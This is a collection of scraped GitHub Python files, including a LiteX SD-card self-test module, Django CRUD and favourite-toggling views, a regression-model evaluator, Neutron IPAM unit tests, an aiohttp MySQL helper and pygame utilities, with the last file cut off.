+{"seq_id":"72690476072","text":"'''\r\nDictionary Comprehension\r\nData: 06/01/2022\r\n\r\nMelhorar o código na perspectiva de número de\r\nlinhas e de velocidade\r\n'''\r\n\r\nlista = [\r\n ['Fernando', 22],\r\n ['Isa', 20],\r\n]\r\n\r\n# Cria um dicionário a partir de uma lista ----\r\ndicionario = {x: y for x, y in lista}\r\nprint(dicionario)\r\n\r\n# Possível também mudar uma das variáveis\r\ndicionario = {x.upper(): y for x, y in lista}\r\nprint(dicionario)\r\n\r\n# enumerate pode ser útil também\r\nnumero_dicionario = {x: y for x, y in enumerate(range(3))}\r\nprint(numero_dicionario)\r\n\r\n# Trabalhar somente um dado traria um set comprehension\r\nset_nomes = {x for x, y in lista} # necessário especificar se estamos\r\n# tratando do primeiro ou segundo valor\r\nprint(set_nomes)\r\n\r\n# Exemplo ----\r\nquadrado = {f'Chave {x}': x**2 for x in range(5)}\r\nprint(quadrado)","repo_name":"Fernando-Urbano/python-oop-studies","sub_path":"dictionary_comprehension.py","file_name":"dictionary_comprehension.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"5027283733","text":"from migen import *\n\nfrom litex.gen import *\n\nfrom litex.soc.interconnect import stream\nfrom litex.soc.interconnect.csr import *\n\n# LFSR/Counter -------------------------------------------------------------------------------------\n\n@CEInserter()\nclass LFSR(LiteXModule):\n def __init__(self, n_out, n_state=31, taps=[27, 30]):\n self.o = Signal(n_out)\n\n # # #\n\n state = Signal(n_state)\n curval = [state[i] for i in range(n_state)]\n curval += [0]*(n_out - n_state)\n for i in range(n_out):\n nv = ~Reduce(\"XOR\", [curval[tap] for tap in taps])\n curval.insert(0, nv)\n curval.pop()\n\n self.sync += [\n state.eq(Cat(*curval[:n_state])),\n self.o.eq(Cat(*curval))\n ]\n\n\n@CEInserter()\nclass Counter(LiteXModule):\n def __init__(self, n_out):\n self.o = Signal(n_out)\n\n # # #\n\n self.sync += self.o.eq(self.o + 1)\n\n# BISTBlockGenerator -------------------------------------------------------------------------------\n\n@ResetInserter()\nclass _BISTBlockGenerator(LiteXModule):\n def __init__(self, random):\n self.source = source = stream.Endpoint([(\"data\", 32)])\n self.start = Signal()\n self.done = Signal()\n self.count = Signal(32)\n\n # # #\n\n gen_cls = LFSR if random else Counter\n gen = gen_cls(32)\n self.submodules += gen\n\n blkcnt = Signal(32)\n datcnt = Signal(9)\n\n self.fsm = fsm = FSM(reset_state=\"IDLE\")\n fsm.act(\"IDLE\",\n If(self.start,\n NextValue(blkcnt, 0),\n NextValue(datcnt, 0),\n NextState(\"RUN\")\n )\n )\n fsm.act(\"RUN\",\n source.valid.eq(1),\n source.last.eq(datcnt == (512//4 - 1)),\n If(source.ready,\n gen.ce.eq(1),\n If(source.last,\n If(blkcnt == (self.count - 1),\n NextState(\"DONE\")\n ).Else(\n NextValue(blkcnt, blkcnt + 1),\n NextValue(datcnt, 0)\n ),\n ).Else(\n NextValue(datcnt, datcnt + 1)\n )\n )\n )\n fsm.act(\"DONE\",\n self.done.eq(1)\n )\n self.comb += source.data.eq(gen.o)\n\n\nclass BISTBlockGenerator(LiteXModule):\n def __init__(self, random):\n self.source = source = stream.Endpoint([(\"data\", 32)])\n self.reset = CSR()\n self.start = CSR()\n self.done = CSRStatus()\n self.count = CSRStorage(32, reset=1)\n\n # # #\n\n self.core = core = _BISTBlockGenerator(random)\n self.comb += [\n core.source.connect(source),\n core.reset.eq(self.reset.re),\n core.start.eq(self.start.re),\n self.done.status.eq(core.done),\n core.count.eq(self.count.storage)\n ]\n\n# BISTBlockChecker ---------------------------------------------------------------------------------\n\n@ResetInserter()\nclass _BISTBlockChecker(LiteXModule):\n def __init__(self, random):\n self.sink = sink = stream.Endpoint([(\"data\", 32)])\n self.start = Signal()\n self.done = Signal()\n self.count = Signal(32)\n self.errors = Signal(32)\n\n # # #\n\n gen_cls = LFSR if random else Counter\n gen = gen_cls(32)\n self.submodules += gen\n\n blkcnt = Signal(32)\n datcnt = Signal(9)\n\n self.fsm = fsm = FSM(reset_state=\"IDLE\")\n fsm.act(\"IDLE\",\n sink.ready.eq(1),\n self.done.eq(1),\n If(self.start,\n NextValue(blkcnt, 0),\n NextValue(datcnt, 0),\n NextValue(self.errors, 0),\n NextState(\"RUN\")\n )\n )\n fsm.act(\"RUN\",\n sink.ready.eq(1),\n If(sink.valid,\n gen.ce.eq(1),\n NextValue(datcnt, datcnt + 1),\n If(sink.data != gen.o,\n \tIf(self.errors != (2**32-1),\n \tNextValue(self.errors, self.errors + 1)\n )\n ),\n If(sink.last | (datcnt == (512//4 - 1)),\n If(blkcnt == (self.count - 1),\n NextState(\"DONE\")\n ).Else(\n NextValue(blkcnt, blkcnt + 1),\n NextValue(datcnt, 0)\n ),\n )\n )\n )\n fsm.act(\"DONE\",\n self.done.eq(1)\n )\n\n\nclass BISTBlockChecker(LiteXModule):\n def __init__(self, random):\n self.sink = sink = stream.Endpoint([(\"data\", 32)])\n self.reset = CSR()\n self.start = CSR()\n self.done = CSRStatus()\n self.count = CSRStorage(32, reset=1)\n self.errors = CSRStatus(32)\n\n # # #\n\n self.core = core = _BISTBlockChecker(random)\n self.comb += [\n sink.connect(core.sink),\n core.reset.eq(self.reset.re),\n core.start.eq(self.start.re),\n self.done.status.eq(core.done),\n core.count.eq(self.count.storage),\n self.errors.status.eq(core.errors)\n ]\n","repo_name":"enjoy-digital/litesdcard","sub_path":"litesdcard/frontend/bist.py","file_name":"bist.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"72"}
+{"seq_id":"6534762509","text":"import sys\nsys.path.insert(0, '/home/mahlet/10ac/Sales_prediction/')\nimport streamlit as st \n\nfrom pages import data_viz_II\nfrom pages import data_viz\nfrom pages import prediction\n\n\n\n#Navigation to the pages \nPAGES={\n \n \"Data Visualization\": data_viz,\n \"Data Visualization II\": data_viz_II,\n \"Prediction\":prediction\n} \n\n\n\ndef main():\n \n st.sidebar.title(\"MENU\")\n \n\n\n st.write(\"\"\"\n # Rosemann Sales Prediction App\n Rossmann is one of the largest drug store chains in Europe with around 56,200 employees and more than 4000 stores across Europe.\n In 2019 Rossmann had more than €10 billion turnover in Germany, Poland, Hungary, the Czech Republic, Turkey, Albania, Kosovo and Spain.\n \n\n \"\"\")\n \n\n \n selection = st.sidebar.selectbox(\"Select....\",list(PAGES.keys()))\n\n page= PAGES[selection]\n\n with st.spinner(f\"Loading {selection}...\"):\n page.app()\n\n\nif __name__==\"__main__\":\n main()","repo_name":"mahlettaye/Sales_prediction","sub_path":"Nav_pages.py","file_name":"Nav_pages.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18622697060","text":"from django.shortcuts import render\r\nfrom .forms import *\r\nfrom .models import *\r\nfrom django.http import JsonResponse\r\nfrom orgs.models import *\r\nfrom courses.models import *\r\nfrom django.db.models import Q , F\r\n\r\n# Create your views here.\r\ndef user_ask(request):\r\n user_ask_from = UserAskForms(request.POST)\r\n print(user_ask_from)\r\n if user_ask_from.is_valid():\r\n user_ask_from.save(commit=True)\r\n #保存提交的数据\r\n return JsonResponse({\r\n 'status':'ok',\r\n 'msg':'提交成功',\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status':'fail',\r\n 'msg':'提交失败',\r\n })\r\n\r\ndef user_love(request):\r\n loveid = request.GET.get('loveid','')\r\n lovetype = request.GET.get('lovetype','')\r\n\r\n if loveid and lovetype:\r\n # 判断是哪一种收藏类型 并做加减处理\r\n obj = None\r\n if lovetype == 1:\r\n obj = CourseInfo.objects.filter(id = loveid)[0]\r\n if lovetype == 2:\r\n obj = OrgInfo.objects.filter(id=loveid)[0]\r\n if lovetype == 3:\r\n obj = TeacherInfo.objects.filter(id=loveid)[0]\r\n\r\n\r\n #如果收藏已存在 ,验证收藏记录\r\n love = UserLove.objects.filter(loveid=loveid,lovetype=lovetype)\r\n if love:\r\n if love[0].love_status:\r\n #如果状态是真 当用户再次请求时 把状态改为假\r\n love[0].love_status = False\r\n love[0].save()\r\n obj.love_num -= 1\r\n obj.save()\r\n return JsonResponse({\r\n 'success':'ok',\r\n 'msg':'收藏',\r\n })\r\n else:\r\n #如果状态为假 把状态改为真\r\n love[0].love_status = True\r\n love[0].save()\r\n obj.love_num +=1\r\n obj.save()\r\n return JsonResponse({\r\n 'success': 'ok',\r\n 'msg': '取消收藏',\r\n })\r\n else:\r\n #如果没有收藏数据 ,创建收藏数据\r\n a = UserLove()\r\n a.love_man = 'aaa'\r\n a.love_id = loveid\r\n a.love_type = lovetype\r\n a.love_status = True\r\n a.save()\r\n obj.love_num +=1\r\n obj.save()\r\n return JsonResponse({\r\n 'success':'ok',\r\n 'msg':'收藏成功',\r\n })\r\n\r\n else:\r\n return JsonResponse({\r\n 'fail':'error',\r\n 'msg':'失败',\r\n })\r\n\r\n\r\ndef user_dellove(request):\r\n loveid = request.GET.get('love_id','')\r\n lovetype = request.GET.get('love_type','')\r\n print(loveid,lovetype)\r\n\r\n if loveid and lovetype:\r\n love = UserLove.objects.filter(love_id=loveid,love_type=lovetype,love_status=True,love_man=request.user)\r\n if love:\r\n love[0].love_status = False\r\n love[0].save()\r\n return JsonResponse({\r\n 'status':'ok',\r\n 'msg':'cancel success'\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status': 'fail',\r\n 'msg': 'cancel fail'\r\n })\r\n else:\r\n return JsonResponse({\r\n 'status': 'fail',\r\n 'msg': 'cancel fail'\r\n })\r\n\r\n\r\ndef orginfo(request):\r\n orglist = OrgInfo.objects.all()\r\n #根据base页面 传回来的搜索关键字 检索相关内容并返回\r\n keyword = request.GET.get('keyword','')\r\n if keyword:\r\n orglist = orglist.filter(Q(name__icontains=keyword)|Q(desc__icontains=keyword))\r\n\r\n\r\n\r\n\r\n","repo_name":"vanllna/django","sub_path":"apps/operations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13310328946","text":"import numpy as np\nfrom sklearn.metrics import r2_score, roc_curve, auc, confusion_matrix\nimport matplotlib.pyplot as plt\n\nclass PerformanceEvaluator(object):\n def __init__(self, test_label, test_prediction, test_regession_loss):\n self.test_label = test_label\n self.test_prediction = test_prediction\n self.test_regession_loss = test_regession_loss\n\n def measures_accuracy(self, save_path):\n ylim = np.max(self.test_label)\n r2score = r2_score(self.test_label.flatten(), self.test_prediction.flatten())\n r_mean = np.mean(self.test_prediction, axis = 0)\n r_std = np.std(self.test_prediction, axis = 0)\n R_loss_test = np.sqrt(R_loss_test/int(self.test_label.shape[0]))\n r_xaxis = np.arange(self.test_label.shape[1])\n r_xaxis_poly = np.concatenate((r_xaxis, np.flip(r_xaxis)), axis = 0)\n r_poly1 = np.concatenate((r_mean + 1.96 * r_std, np.flip(r_mean - 1.96 * r_std)), axis = 0)\n \n fig = plt.figure(figsize = (8, 5))\n plt.plot(r_xaxis, r_mean * 100, 'r', linewidth = 3)\n plt.fill(r_xaxis_poly, r_poly1 * 100, alpha = 0.4, color = 'r')\n plt.plot([-100, 100], [-100, 100], 'k--', linewidth = 3)\n plt.legend(('Mean of estimation', 'Ideal estimation', '95% Confidence interval'), fontsize = 15, loc = 'lower right')\n plt.xlim([0, ylim * 100])\n plt.ylim([0, ylim * 100 + 10])\n plt.title('MSE: ' + str(np.round_(R_loss_test, 3)) + ', R2: ' + str(np.round_(r2score, 3)))\n plt.xlabel('Real Severity (Inclusion [%])', fontsize = 20)\n plt.ylabel('Estimated Severity (DL)', fontsize = 20)\n plt.tight_layout()\n fig.savefig(save_path)\n plt.close(fig)\n \n\n def draws_BA_plot(self, save_path, sd_limit=1.96):\n randint = np.random.randint(0, self.test_label.shape[0], 16)\n fig = plt.figure(figsize = (8, 5))\n m1 = np.reshape(self.test_label[randint], -1) * 100\n m2 = np.reshape(self.test_prediction[randint], -1) * 100\n diffs = m1 - m2\n mean_diff = np.mean(diffs)\n std_diff = np.std(diffs, axis=0)\n\n scatter_kwds=None\n mean_line_kwds=None\n limit_lines_kwds=None\n\n ax = plt.gca()\n\n scatter_kwds = scatter_kwds or {}\n if 's' not in scatter_kwds:\n scatter_kwds['s'] = 20\n mean_line_kwds = mean_line_kwds or {}\n limit_lines_kwds = limit_lines_kwds or {}\n for kwds in [mean_line_kwds, limit_lines_kwds]:\n if 'color' not in kwds:\n kwds['color'] = 'gray'\n if 'linewidth' not in kwds:\n kwds['linewidth'] = 2\n if 'linestyle' not in mean_line_kwds:\n kwds['linestyle'] = '--'\n if 'linestyle' not in limit_lines_kwds:\n kwds['linestyle'] = ':'\n\n ax.scatter(m1, diffs, **scatter_kwds)\n ax.axhline(mean_diff, **mean_line_kwds) # draw mean line.\n\n # Annotate mean line with mean difference.\n ax.annotate('mean diff:\\n{}'.format(np.round(mean_diff, 2)),\n xy=(0.99, 0.5),\n horizontalalignment='right',\n verticalalignment='center',\n fontsize=14,\n xycoords='axes fraction')\n\n if sd_limit > 0:\n half_ylim = (1.5 * sd_limit) * std_diff\n ax.set_ylim(mean_diff - half_ylim,\n mean_diff + half_ylim)\n\n limit_of_agreement = sd_limit * std_diff\n lower = mean_diff - limit_of_agreement\n upper = mean_diff + limit_of_agreement\n for j, lim in enumerate([lower, upper]):\n ax.axhline(lim, **limit_lines_kwds)\n ax.annotate('-SD{}: {}'.format(sd_limit, np.round(lower, 2)),\n xy=(0.99, 0.40),\n horizontalalignment='right',\n verticalalignment='bottom',\n fontsize=14,\n xycoords='axes fraction')\n ax.annotate('+SD{}: {}'.format(sd_limit, np.round(upper, 2)),\n xy=(0.99, 0.56),\n horizontalalignment='right',\n fontsize=14,\n xycoords='axes fraction')\n\n elif sd_limit == 0:\n half_ylim = 3 * std_diff\n ax.set_ylim(mean_diff - half_ylim,\n mean_diff + half_ylim)\n ax.set_ylim([-55, 55])\n ax.set_ylabel('Difference [%]', fontsize=20)\n ax.set_xlabel('True PAD Severity [%]', fontsize=20)\n plt.tight_layout()\n fig.savefig(save_path)\n plt.close(fig)\n \n def evaluates_performance(self, result_dir, model_name, regressor_type):\n thresholds = np.array([20, 30, 40, 50, 60, 70])\n auc_dl = np.zeros((thresholds.shape[0]))\n acc_dl = np.zeros((thresholds.shape[0]))\n sens_dl = np.zeros((thresholds.shape[0]))\n spec_dl = np.zeros((thresholds.shape[0]))\n\n fig = plt.figure(figsize = (8, 5)) \n plt.title('Receiver Operationg Characteristic', fontsize = 20)\n plt.xlabel('1 - Specificity', fontsize = 20)\n plt.ylabel('Sensitivity', fontsize = 20) \n alphas = [0.2, 0.5, 1.0]\n alpha_n = 0\n for kk in range(thresholds.shape[0]):\n threshold = thresholds[kk]\n y_real = self.test_label.copy()\n y_pred = self.test_prediction.copy()\n y_real[:, :threshold] = 0\n y_real[:, threshold:] = 1\n y_real_0 = y_real[:, :threshold]\n y_real_1 = y_real[:, threshold:]\n y_pred_0 = y_pred[:, :threshold]\n y_pred_1 = y_pred[:, threshold:]\n \n #ROC and ACU\n y_real = np.reshape(y_real, -1)\n y_pred = np.reshape(y_pred, -1)\n\n false_positive_rate_DL, true_positive_rate_DL, _ = roc_curve(y_real, y_pred)\n roc_auc_DL = auc(false_positive_rate_DL, true_positive_rate_DL)\n if threshold in [20, 50, 70]:\n plt.plot(false_positive_rate_DL, true_positive_rate_DL, 'b', alpha = alphas[alpha_n], label='Model DL (AUC = %0.2f) - '%roc_auc_DL + 'threshold = ' + str(threshold))\n alpha_n = alpha_n + 1\n auc_dl[kk] = roc_auc_DL\n \n #Accuracy\n y_real_0 = np.reshape(y_real_0, -1)\n y_real_1 = np.reshape(y_real_1, -1)\n y_pred_0 = np.reshape(y_pred_0, -1)\n y_pred_1 = np.reshape(y_pred_1, -1)\n rndidx_0 = np.random.randint(y_real_0.shape[0], size = 1000)\n rndidx_1 = np.random.randint(y_real_1.shape[0], size = 1000)\n y_real_0 = y_real_0[rndidx_0]\n y_real_1 = y_real_1[rndidx_1]\n y_pred_0 = y_pred_0[rndidx_0]\n y_pred_1 = y_pred_1[rndidx_1]\n y_real = np.concatenate((y_real_0, y_real_1))\n y_pred = np.concatenate((y_pred_0, y_pred_1))\n for ii in range(y_pred.shape[0]):\n if y_pred[ii] > threshold/100:\n y_pred[ii] = 1\n else:\n y_pred[ii] = 0\n cm_dl = confusion_matrix(y_real, y_pred)\n sens_dl[kk] = (cm_dl[0, 0])/(cm_dl[0, 0] + cm_dl[1, 0])\n spec_dl[kk] = (cm_dl[1, 1])/(cm_dl[0, 1] + cm_dl[1, 1])\n acc_dl[kk] = (cm_dl[0, 0] + cm_dl[1, 1])/(cm_dl[0, 0] + cm_dl[0, 1] + cm_dl[1, 0] + cm_dl[1, 1])\n plt.plot([0,1],[1,1], 'y--')\n plt.plot([0,1],[0,1], 'r--') \n plt.legend(loc = 'lower right', fontsize = 10)\n plt.show()\n fig.savefig(\"{}/{}_roc.png\".format(result_dir, model_name))\n plt.close(fig)\n\n np.save(\"{}/{}_auc_dl.npy\".format(result_dir, model_name, regressor_type), auc_dl)\n np.save(\"{}/{}_accuracy_dl.npy\".format(result_dir, model_name, regressor_type), acc_dl)\n np.save(\"{}/{}_sensitivity_dl.npy\".format(result_dir, model_name, regressor_type), sens_dl)\n np.save(\"{}/{}_specificity_dl.npy\".format(result_dir, model_name, regressor_type), spec_dl)\n","repo_name":"shkim-Pandamon/HumanPHM_Regression","sub_path":"lib/performance_evaluator.py","file_name":"performance_evaluator.py","file_ext":"py","file_size_in_byte":8064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8674275531","text":"from neutron_lib import context\nfrom oslo_utils import uuidutils\n\nfrom neutron.ipam.drivers.neutrondb_ipam import db_api\nfrom neutron.objects import ipam as ipam_obj\nfrom neutron.tests.unit import testlib_api\n\nCORE_PLUGIN = 'neutron.db.db_base_plugin_v2.NeutronDbPluginV2'\n\n\nclass TestIpamSubnetManager(testlib_api.SqlTestCase):\n \"\"\"Test case for SubnetManager DB helper class\"\"\"\n\n def setUp(self):\n super(TestIpamSubnetManager, self).setUp()\n self.setup_coreplugin(core_plugin=CORE_PLUGIN)\n self.ctx = context.get_admin_context()\n self.neutron_subnet_id = uuidutils.generate_uuid()\n self.ipam_subnet_id = uuidutils.generate_uuid()\n self.subnet_ip = '1.2.3.4'\n self.single_pool = ('1.2.3.4', '1.2.3.10')\n self.multi_pool = (('1.2.3.2', '1.2.3.12'), ('1.2.3.15', '1.2.3.24'))\n self.subnet_manager = db_api.IpamSubnetManager(self.ipam_subnet_id,\n self.neutron_subnet_id)\n self.subnet_manager_id = self.subnet_manager.create(self.ctx)\n self.ctx.session.flush()\n\n def test_create(self):\n self.assertEqual(self.ipam_subnet_id, self.subnet_manager_id)\n subnet_count = ipam_obj.IpamSubnet.count(\n self.ctx, id=self.ipam_subnet_id)\n self.assertEqual(1, subnet_count)\n\n def test_remove(self):\n count = db_api.IpamSubnetManager.delete(self.ctx,\n self.neutron_subnet_id)\n self.assertEqual(1, count)\n subnet_exists = ipam_obj.IpamSubnet.objects_exist(\n self.ctx, id=self.ipam_subnet_id)\n self.assertFalse(subnet_exists)\n\n def test_remove_non_existent_subnet(self):\n count = db_api.IpamSubnetManager.delete(self.ctx,\n 'non-existent')\n self.assertEqual(0, count)\n\n def _validate_ips(self, pools, db_pool):\n self.assertTrue(\n any(pool == (str(db_pool.first_ip), str(db_pool.last_ip))\n for pool in pools))\n\n def test_create_pool(self):\n self.subnet_manager.create_pool(self.ctx,\n self.single_pool[0],\n self.single_pool[1])\n\n ipam_pools = ipam_obj.IpamAllocationPool.get_objects(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self._validate_ips([self.single_pool], ipam_pools[0])\n\n def test_check_unique_allocation(self):\n self.assertTrue(self.subnet_manager.check_unique_allocation(\n self.ctx, self.subnet_ip))\n\n def test_check_unique_allocation_negative(self):\n self.subnet_manager.create_allocation(self.ctx,\n self.subnet_ip)\n self.assertFalse(self.subnet_manager.check_unique_allocation(\n self.ctx, self.subnet_ip))\n\n def test_list_allocations(self):\n ips = ['1.2.3.4', '1.2.3.6', '1.2.3.7']\n for ip in ips:\n self.subnet_manager.create_allocation(self.ctx, ip)\n allocs = self.subnet_manager.list_allocations(self.ctx)\n self.assertEqual(len(ips), len(allocs))\n for allocation in allocs:\n self.assertIn(str(allocation.ip_address), ips)\n\n def _test_create_allocation(self):\n self.subnet_manager.create_allocation(self.ctx,\n self.subnet_ip)\n alloc = ipam_obj.IpamAllocation.get_objects(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self.assertEqual(1, len(alloc))\n self.assertEqual(self.subnet_ip, str(alloc[0].ip_address))\n return alloc\n\n def test_create_allocation(self):\n self._test_create_allocation()\n\n def test_delete_allocation(self):\n allocs = self._test_create_allocation()\n self.subnet_manager.delete_allocation(self.ctx,\n allocs[0].ip_address)\n\n alloc_exists = ipam_obj.IpamAllocation.objects_exist(\n self.ctx, ipam_subnet_id=self.ipam_subnet_id)\n self.assertFalse(alloc_exists)\n","repo_name":"openstack/neutron","sub_path":"neutron/tests/unit/ipam/drivers/neutrondb_ipam/test_db_api.py","file_name":"test_db_api.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"}
+{"seq_id":"40556849547","text":"from src import Mysql\n\n\nclass BaseOption:\n\n @classmethod\n async def insert_or_update(cls, *sqls):\n try:\n engine = await Mysql.get_engine()\n async with engine.acquire() as conn:\n await conn.connection.autocommit(False)\n trans = None\n try:\n trans = await conn.begin()\n for sql in sqls:\n await conn.execute(sql)\n await trans.commit()\n return \"success\"\n except Exception as t:\n if trans:\n await trans.rollback()\n raise Exception(t)\n finally:\n await conn.connection.autocommit(True)\n conn.connection.close()\n except Exception as e:\n raise Exception(e)\n\n @classmethod\n async def query(cls, sql):\n try:\n engine = await Mysql.get_engine()\n async with engine.acquire() as conn:\n try:\n return await conn.execute(sql)\n except Exception as exec_err:\n raise Exception(exec_err)\n finally:\n conn.connection.close()\n except Exception as e:\n raise Exception(e)\n","repo_name":"xushanfeng/aiohttp-example","sub_path":"src/model/base_option.py","file_name":"base_option.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27218882667","text":"from django.shortcuts import render\nfrom dbms_project.models import CustomerModel\nfrom dbms_project.models import ProductModel\nfrom dbms_project.models import AlertModel\nfrom django.contrib import messages\nfrom dbms_project.forms import Customerforms, Productforms\nfrom django.db import connection\n\ndef HomePage(request):\n return render(request,'main.html')\n\ndef showcust(request):\n showall=CustomerModel.objects.all()\n return render(request,'Index.html',{\"data\":showall})\n\ndef showpro(request):\n showall=ProductModel.objects.all()\n return render(request,'Index2.html',{\"data\":showall})\n\ndef Insertcust(request):\n if request.method==\"POST\":\n if request.POST.get('cust_id') and request.POST.get('cust_name') and request.POST.get('cust_pass') and request.POST.get('dob') and request.POST.get('pin_code') and request.POST.get('email') and request.POST.get('phone_num'):\n saverecord=CustomerModel()\n saverecord.cust_id=request.POST.get('cust_id')\n saverecord.cust_name=request.POST.get('cust_name')\n saverecord.cust_pass=request.POST.get('cust_pass')\n saverecord.dob=request.POST.get('dob')\n saverecord.pin_code=request.POST.get('pin_code')\n saverecord.email=request.POST.get('email')\n saverecord.phone_num=request.POST.get('phone_num')\n saverecord.save()\n messages.success(request,'Customer '+saverecord.cust_id+ ' is Saved Successfully..!')\n return render(request,'Insert.html')\n else:\n return render(request,'Insert.html')\n\ndef Insertpro(request):\n if request.method==\"POST\":\n if request.POST.get('pro_id') and request.POST.get('pro_name') and request.POST.get('price') and request.POST.get('dept_name') and request.POST.get('brand_name') and request.POST.get('plat_name') and request.POST.get('disc_rate') and request.POST.get('ratings'):\n saverecord=ProductModel()\n saverecord.pro_id=request.POST.get('pro_id')\n saverecord.pro_name=request.POST.get('pro_name')\n saverecord.price=request.POST.get('price')\n saverecord.dept_name=request.POST.get('dept_name')\n saverecord.brand_name=request.POST.get('brand_name')\n saverecord.plat_name=request.POST.get('plat_name')\n saverecord.disc_rate=request.POST.get('disc_rate')\n saverecord.ratings=request.POST.get('ratings')\n saverecord.save()\n messages.success(request,'Product '+saverecord.pro_id+ ' is Saved Successfully..!')\n return render(request,'Insert2.html')\n else:\n return render(request,'Insert2.html')\n\ndef Editcust(request,id):\n editcustobj=CustomerModel.objects.get(cust_id=id)\n return render(request,'Edit.html',{\"CustomerModel\":editcustobj})\n\ndef updatecust(request,id):\n Updatecust=CustomerModel.objects.get(cust_id=id)\n form=Customerforms(request.POST,instance=Updatecust)\n if form.is_valid():\n form.save()\n messages.success(request,'Record Updated Successfully..!')\n return render(request,'Edit.html',{\"CustomerModel\":Updatecust})\n\ndef Editpro(request,id):\n editproobj=ProductModel.objects.get(pro_id=id)\n return render(request,'Edit2.html',{\"ProductModel\":editproobj})\n\ndef updatepro(request,id):\n Updatepro=ProductModel.objects.get(pro_id=id)\n form=Productforms(request.POST,instance=Updatepro)\n if form.is_valid():\n form.save()\n messages.success(request,'Record Updated Successfully..!')\n return render(request,'Edit2.html',{\"ProductModel\":Updatepro})\n\ndef Delcust(request,id):\n delcust=CustomerModel.objects.get(cust_id=id)\n delcust.delete()\n showdata=CustomerModel.objects.all()\n return render(request,\"Index.html\",{\"data\":showdata})\n\ndef Delpro(request,id):\n delpro=ProductModel.objects.get(pro_id=id)\n delpro.delete()\n showdata=ProductModel.objects.all()\n return render(request,\"Index2.html\",{\"data\":showdata})\n\ndef sortCustomer(request):\n if request.method==\"POST\":\n if request.POST.get('Sort'):\n type=request.POST.get('Sort')\n sorted=CustomerModel.objects.all().order_by(type)\n context = {\n 'data': sorted\n }\n return render(request,'Sort.html',context)\n else:\n return render(request,'Sort.html')\n\ndef sortProduct(request):\n if request.method==\"POST\":\n if request.POST.get('Sort'):\n type=request.POST.get('Sort')\n sorted=ProductModel.objects.all().order_by(type)\n context = {\n 'data': sorted\n }\n return render(request,'Sort2.html',context)\n else:\n return render(request,'Sort2.html')\n\n\ndef Setalert(request,id):\n if request.method==\"POST\":\n if request.POST.get('pro_id') and request.POST.get('cust_id') and request.POST.get('price_drop'):\n saverecord=AlertModel()\n saverecord.pro_id=request.POST.get('pro_id')\n saverecord.cust_id=request.POST.get('cust_id')\n saverecord.price_drop=request.POST.get('price_drop')\n saverecord.save()\n messages.success(request,'Alert for pro_id '+saverecord.pro_id+' set successfully!..')\n return render(request,'Index2.html',{\"data\":ProductModel.objects.all()})\n else:\n setalert=ProductModel.objects.get(pro_id=id)\n return render(request,'addalert.html',{\"ProductModel\":setalert})\n\ndef showcustalerts(request,id):\n custalerts=AlertModel.objects.filter(cust_id=id).values()\n return render(request,'showalert.html',{\"data\":custalerts})\n\ndef Delalert(request,id):\n delalert=AlertModel.objects.get(a_id=id)\n showdata=AlertModel.objects.filter(cust_id=delalert.cust_id).values()\n delalert.delete()\n return render(request,\"showalert.html\",{\"data\":showdata})\n\ndef runQuery(request):\n raw_query = \"select pro_id, pro_name, plat_name, price, price-price*disc_rate/100 as best_deal, ratings from product where price >= 5000 order by ratings desc;\"\n cursor = connection.cursor()\n cursor.execute(raw_query)\n alldata=cursor.fetchall()\n return render(request,'runquery.html',{'data':alldata})","repo_name":"somin18501/DBMS_PROJECT","sub_path":"dbms_project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32062986154","text":"\"Funciones comunes utilizadas por los diversos juegos.\"\n\nimport os\nimport sys\nimport pygame as p\nfrom pygame.locals import K_ESCAPE\n\n\nWIDTH = 640\nHEIGHT = 480\nPANTALLA = (WIDTH, HEIGHT)\n\nARRIBA = 1\nABAJO = 2\nDERECHA = 3\nIZQUIERDA = 4\n\ndef cargar_imagen(nombre, alpha= False, directorio= \"imagenes\"):\n \"Carga una imagen del directorio predefinido.\"\n ruta = os.path.join(directorio, nombre)\n try:\n imagen = p.image.load(ruta)\n except:\n print(\"No se puede cargar la imagen: \", ruta)\n raise\n \n if alpha == True:\n imagen = imagen.convert_alpha()\n else:\n imagen = imagen.convert()\n return imagen\n\n\n\ndef salir(cerrar, teclado):\n \"Define el fin del programa por medio de la tecla [Escape].\"\n if cerrar:\n return False\n elif teclado:\n teclado = teclado[0]\n if teclado.key == K_ESCAPE:\n return False;\n return True\n\n\n\nclass Texto():\n \"Crea un texto para mostrar en pantalla.\"\n def __init__(self, texto_predeterminado= \"\", fuente= None, tamano= 24):\n \"Inicializa el texto.\"\n self.fuente = p.font.Font(fuente, tamano)\n self.default = texto_predeterminado\n self.texto = None\n self.rect = None\n self.mostrar()\n \n def mostrar(self, cadena= \"\", color= (0xFF, 0xFF, 0xFF) ):\n \"Regresa el texto a mostrar.\"\n self.texto = self.fuente.render(self.default + cadena, True, color)\n self.rect = self.texto.get_rect()\n return self.texto\n \n def pos(self, horz= 0, vert= 0, offset_x= 0, offset_y= 0):\n \"Obtiene la posicion en la cual se mostrara el texto.\"\n if vert == 0:\n self.rect.top = offset_y\n elif vert == 1:\n self.rect.centery = HEIGHT / 2 + offset_y\n elif vert == 2:\n self.rect.bottom = HEIGHT - offset_y\n \n if horz == 0:\n self.rect.left = offset_x\n elif horz == 1:\n self.rect.centerx = WIDTH / 2 + offset_x\n elif horz == 2:\n self.rect.right = WIDTH - offset_x\n return 